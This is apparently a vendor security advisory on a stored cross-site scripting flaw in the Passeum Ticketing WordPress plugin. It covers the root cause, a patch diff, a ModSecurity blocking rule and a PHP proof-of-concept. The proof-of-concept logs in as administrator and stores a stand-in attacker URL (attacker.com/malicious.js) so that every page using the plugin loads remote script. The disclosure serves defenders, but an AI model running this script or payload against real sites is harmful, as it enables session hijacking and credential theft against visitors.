Atomic Edge analysis of CVE-2026-7421:
This vulnerability allows authenticated attackers with Administrator-level access to perform stored cross-site scripting (XSS) attacks via the ‘shop_name’ setting in the Passeum Ticketing plugin for WordPress (versions up to and including 1.0). The plugin improperly handles the ‘shop_name’ input by executing it as a URL when it begins with “http”, allowing injection of external JavaScript and CSS files that execute on every frontend page containing a Passeum Ticketing shortcode. The CVSS score is 4.4 (medium severity).
Root Cause:
The vulnerability stems from two failures in the plugin’s code. First, the validate_shop_name() function in /passeum-ticketing/inc/settings.php (lines 143-157 of the vulnerable version) only checks if the input is empty or not a string; it does not sanitize or restrict the value. Second, the get_shop_url() function in /passeum-ticketing/passeum-ticketing.php (line 204) returns the raw ‘shop_name’ value unmodified if it starts with ‘http’. This value is then passed directly to wp_register_script() and wp_register_style(), which enqueue arbitrary external resources from the attacker-controlled domain.
Exploitation:
An authenticated administrator navigates to the plugin settings page (typically /wp-admin/options-general.php?page=passeum-ticketing). The attacker sets the ‘shop_name’ parameter to an attacker-controlled URL, for example: https://attacker.com/malicious.js. The plugin stores this value without sanitization. On every subsequent frontend page load that includes any Passeum Ticketing shortcode, the plugin registers and enqueues the attacker’s external script and stylesheet, executing arbitrary JavaScript in the context of the victim’s browser. All site visitors are affected.
Patch Analysis:
The patch modifies two files. In /passeum-ticketing/inc/settings.php, the validate_shop_name() function now uses a regular expression: ‘/^[a-zA-Z0-9_-]+$/’ to restrict the ‘shop_name’ to alphanumeric characters, underscores, and hyphens only. This prevents URL strings from being accepted. In /passeum-ticketing/passeum-ticketing.php, the get_shop_url() function always prepends ‘https://’ and the shop name to the fixed domain ‘.jegyek.passeum.com’, never returning an arbitrary user-supplied URL. This eliminates the XSS vector.
Impact:
Successful exploitation allows an attacker to inject arbitrary JavaScript and CSS into every page of the WordPress site that uses any Passeum Ticketing shortcode. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, and other client-side attacks affecting all site visitors. Note that on single-site installations, administrators already have the unfiltered_html capability, so this vulnerability primarily impacts multisite installations where administrators may not have that capability.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/passeum-ticketing/inc/settings.php
+++ b/passeum-ticketing/inc/settings.php
@@ -140,24 +140,15 @@
}
private function validate_shop_name( $data ): string {
- if ( empty( $data ) ) {
+ if ( empty( $data ) || ! preg_match( '/^[a-zA-Z0-9_-]+$/', $data ) ) {
add_settings_error(
'passeum_ticketing_widget_options',
'passeum_ticketing_widget_options',
- 'A boltod neve mező nem lehet üres.',
+ 'A "bolt neve" mező érvénytelen. Csak alfanumerikus karaktereket, alulvonást és kötőjelet tartalmazhat.',
'error'
);
+ return '';
}
-
- if ( !is_string( $data ) ) {
- add_settings_error(
- 'passeum_ticketing_widget_options',
- 'passeum_ticketing_widget_options',
- 'A boltod neve mező érvénytelen.',
- 'error'
- );
- }
-
return $data;
}
--- a/passeum-ticketing/passeum-ticketing.php
+++ b/passeum-ticketing/passeum-ticketing.php
@@ -2,8 +2,8 @@
/*
Plugin Name: Passeum Ticketing
-Description: Embedding the Passeum Ticketing ticket purchase widget into your own WordPress website.
-Version: 1.0
+Description: Jegyvásárlás widget beillesztése saját weboldaladra
+Version: 1.0.1
License: GPLv2 or later
*/
@@ -201,9 +201,7 @@
}
private function get_shop_url( string $shop_name ): string {
- return 0 === strpos( $shop_name, 'http' )
- ? $shop_name
- : 'https://' . esc_attr( $shop_name ) . '.jegyek.passeum.com';
+ return 'https://' . esc_attr( $shop_name ) . '.jegyek.passeum.com';
}
}
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/options.php" "id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2026-7421 - Passeum Ticketing Stored XSS via shop_name setting',severity:'CRITICAL',tag:'CVE-2026-7421',tag:'WordPress',tag:'Passeum Ticketing'"
SecRule ARGS_POST:option_page "@streq passeum_ticketing_widget_options" "chain"
SecRule ARGS_POST:passeum_ticketing_widget_options[] "@rx ^https?://" "chain"
SecRule ARGS_POST:action "@streq update" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7421 - Passeum Ticketing <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'shop_name' Setting
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$admin_username = 'admin'; // Change to admin username
$admin_password = 'password'; // Change to admin password
$malicious_url = 'https://attacker.com/malicious.js'; // Attacker-controlled URL
// Step 1: Login as administrator
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($admin_username) . '&pwd=' . urlencode($admin_password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
// Step 2: Fetch the plugin settings page to get the nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options-general.php?page=passeum-ticketing');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// Extract nonce (assuming WordPress settings API uses _wpnonce)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
echo "Failed to retrieve nonce. Exiting.n";
exit(1);
}
$nonce = $matches[1];
// Step 3: Update the shop_name setting to the malicious URL
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'option_page=passeum_ticketing_widget_options&action=update&_wpnonce=' . urlencode($nonce) . '&_wp_http_referer=' . urlencode($target_url . '/wp-admin/options-general.php?page=passeum-ticketing') . '&passeum_ticketing_widget_options%5Bshop_name%5D=' . urlencode($malicious_url));
$response = curl_exec($ch);
if (strpos($response, 'Settings saved') !== false) {
echo "[+] shop_name successfully set to $malicious_urln";
echo "[+] Exploit payload stored. Any frontend page with a Passeum Ticketing shortcode will now load external JavaScript from the attacker's domain.n";
} else {
echo "[-] Failed to update settings. Check credentials or plugin configuration.n";
}
curl_close($ch);